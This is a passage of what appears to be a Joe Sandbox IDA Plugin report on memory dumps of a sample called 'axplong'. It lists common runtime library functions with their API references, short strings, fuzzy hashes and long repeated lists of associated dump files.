Associated: 00000002.00000002.2319715075.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319747608.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319827350.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319852211.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319880822.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319905260.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319928394.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319952634.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319976258.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319999458.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320068034.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320094670.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320116289.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320137290.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320161686.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320195657.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320225157.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320255613.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320285089.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320313273.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320397452.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320428045.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320454974.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320485385.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320812306.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320847603.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320878922.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320905748.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320948775.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324830713.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324960667.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325002578.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325093324.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328152138.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328191677.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328235150.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: P#i$P#i
API String ID: 0-1653140521
Opcode ID: 44c4cf634651e294776a90c05d3730263f9fa5d5cd66f0b5faf9c68b10f00a0e
Instruction ID: 0516a042c350809818ba068a6f58412d4407b510f40476f8d1ab86bd7123e65b
Opcode Fuzzy Hash: 44c4cf634651e294776a90c05d3730263f9fa5d5cd66f0b5faf9c68b10f00a0e
Instruction Fuzzy Hash: 6C51F8729001199FCF14EFA8D841AAEB7AAEF46340B14456DF805DB341EB30EE118BA5

Function 006CF21F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 006CF263

Strings

`'o, xrefs: 006CF235
8"o, xrefs: 006CF30B

Memory Dump Source

Source File: 00000002.00000002.2319486871.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2319472628.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319486871.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319540347.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319555900.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319575996.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319671717.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319689704.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319715075.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319747608.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319827350.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319852211.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319880822.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319905260.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319928394.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319952634.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319976258.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319999458.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320068034.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320094670.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320116289.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320137290.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320161686.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320195657.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320225157.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320255613.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320285089.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320313273.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320397452.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320428045.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320454974.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320485385.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320812306.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320847603.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320878922.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320905748.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320948775.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324830713.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324960667.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325002578.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325093324.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328152138.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328191677.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328235150.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"o$`'o
API String ID: 3903695350-933842191
Opcode ID: c203986684c12f073fcf6eaadbe0e08017ddd28243deb82015c01100d796a867
Instruction ID: 9248d418faefcafba4a94d15fec1455e5dbff61aa11b2a86e6c0a3192fae04bd
Opcode Fuzzy Hash: c203986684c12f073fcf6eaadbe0e08017ddd28243deb82015c01100d796a867
Instruction Fuzzy Hash: EC315C31600209AFEB61ABB8E945FBA77EBEF00314F10452DE44AD7291DF76ED808B55

Function 00693930 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__Mtx_init_in_situ.LIBCPMT ref: 00693962
__Mtx_init_in_situ.LIBCPMT ref: 006939A1

Strings

pBi, xrefs: 00693940

Memory Dump Source

Source File: 00000002.00000002.2319486871.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2319472628.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319486871.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319540347.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319555900.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319575996.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319671717.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319689704.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319715075.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319747608.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319827350.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319852211.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319880822.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319905260.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319928394.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319952634.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319976258.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319999458.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320068034.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320094670.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320116289.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320137290.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320161686.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320195657.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320225157.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320255613.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320285089.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320313273.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320397452.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320428045.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320454974.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320485385.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320812306.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320847603.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320878922.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320905748.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320948775.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324830713.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324960667.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325002578.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325093324.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328152138.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328191677.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328235150.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Mtx_init_in_situ
String ID: pBi
API String ID: 3366076730-1569801529
Opcode ID: 78a01782a0354db6510c21207cea8493d6435abac52b687f9e0628f5e47fd6fe
Instruction ID: 3993106945adeed3e28dc381456e91acc96a86093344875311efa49e6457647c
Opcode Fuzzy Hash: 78a01782a0354db6510c21207cea8493d6435abac52b687f9e0628f5e47fd6fe
Instruction Fuzzy Hash: 504114B0501B059FDB20CF19C588B9ABBF6FF44315F14861DE86A8B741E7B5AA15CF80

Function 00692440 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 0069247E

Strings

P#i, xrefs: 00692486
P#i, xrefs: 0069246D

Memory Dump Source

Source File: 00000002.00000002.2319486871.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2319472628.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319486871.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319540347.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319555900.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319575996.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319671717.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319689704.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319715075.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319747608.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319827350.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319852211.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319880822.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319905260.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319928394.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319952634.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319976258.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319999458.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320068034.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320094670.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320116289.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320137290.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320161686.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320195657.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320225157.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320255613.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320285089.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320313273.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320397452.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320428045.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320454974.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320485385.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320812306.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320847603.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320878922.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320905748.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320948775.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324830713.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324960667.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325002578.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325093324.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328152138.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328191677.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328235150.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#i$P#i
API String ID: 2659868963-1653140521
Opcode ID: 8a5fa8282a3181e45604fec009fd4ad5bd8c9dce85ff7065544dca80766fe8b7
Instruction ID: 0bcc56222c6ea864bad414a5def2b5a331b3632f7e49ddc3c6d6a4650c8fd165
Opcode Fuzzy Hash: 8a5fa8282a3181e45604fec009fd4ad5bd8c9dce85ff7065544dca80766fe8b7
Instruction Fuzzy Hash: AAF0A0B191034D67C714EEE4D801D89B7ADDA15300B008A29F654E7601F7B0FA5487A9

Function 00693400 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32COMMON

Download Yara Rule

APIs

Part of subcall function 00692AF0: ___std_exception_copy.LIBVCRUNTIME ref: 00692B23

___std_exception_copy.LIBVCRUNTIME ref: 0069343E

Strings

P#i, xrefs: 00693446
P#i, xrefs: 0069342D

Memory Dump Source

Source File: 00000002.00000002.2319486871.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2319472628.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319486871.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319540347.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319555900.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319575996.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319671717.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319689704.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319715075.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319747608.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319827350.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319852211.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319880822.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319905260.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319928394.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319952634.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319976258.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319999458.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320068034.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320094670.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320116289.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320137290.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320161686.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320195657.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320225157.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320255613.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320285089.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320313273.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320397452.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320428045.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320454974.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320485385.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320812306.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320847603.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320878922.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320905748.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320948775.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324830713.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324960667.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325002578.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325093324.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328152138.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328191677.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328235150.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#i$P#i
API String ID: 2659868963-1653140521
Opcode ID: 28c239d6f214ef10f0a7dfc17f6d9587358e25d37c1f9d5106fdfd387ff97c9c
Instruction ID: 15ce1e40561a834e3972f33e1be8d7212e8751d90fab7d8da9e030b05a0171ed
Opcode Fuzzy Hash: 28c239d6f214ef10f0a7dfc17f6d9587358e25d37c1f9d5106fdfd387ff97c9c
Instruction Fuzzy Hash: 65F0A0B291034D6BC714FFE8D801D9AB7AEDA05700B10852AF650A7A01FAB0EA4487A9

Function 00692520 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00692552

Strings

P#i, xrefs: 0069255D
P#i, xrefs: 00692547

Memory Dump Source

Source File: 00000002.00000002.2319486871.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2319472628.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319486871.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319540347.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319555900.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319575996.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319671717.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319689704.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319715075.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319747608.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319827350.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319852211.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319880822.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319905260.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319928394.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319952634.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319976258.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
